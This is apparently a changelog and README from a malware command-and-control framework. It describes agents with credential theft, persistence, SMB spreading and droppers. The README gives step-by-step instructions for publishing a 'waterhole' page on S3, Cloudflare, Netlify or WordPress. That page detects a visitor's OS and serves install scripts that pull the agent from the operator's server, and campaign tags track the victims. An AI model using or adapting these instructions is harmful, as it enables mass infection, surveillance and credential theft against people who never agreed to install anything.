Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
Spread Kit Web Publisher
Static waterhole kit for AetherForge. Upload the folder (or a customized ZIP from Emberwake → Export spread kit) to any static host:
- Amazon S3 + CloudFront
- Cloudflare Pages
- Netlify / Vercel
- Owned WordPress / CMS (HTML block or custom page template)
Quick start
- Forge and pin a build in the command deck.
- Open Emberwake → set server URL + campaign → Export spread kit ZIP.
- Unzip and upload all files to your host root (or subpath).
- Share the page URL with
?c=campaign-namefor attribution.
Manual placeholder replace
If you skip the API export, replace in all files:
| Placeholder | Value |
|---|---|
{{SERVER_URL}} |
http://192.168.1.50:8989 or your tunnel URL |
{{BUILD_ID}} |
Pinned build UUID (optional) |
{{CAMPAIGN}} |
Default campaign slug |
{{CAMPAIGN_QUERY}} |
?c=slug or empty |
{{PIN_QUERY}} |
?pin=uuid or empty |
Files
index.html— auto-detects OS, links to installersinstall.ps1/install.sh/install.command— curl/irm to your serverassets/aether.css— dark steampunk stylingcampaigns/README.md— campaign param docs
Public builds (login page)
Unauthenticated downloads also work via GET /api/v1/public/builds when the operator enables public builds or marks builds pinned/public.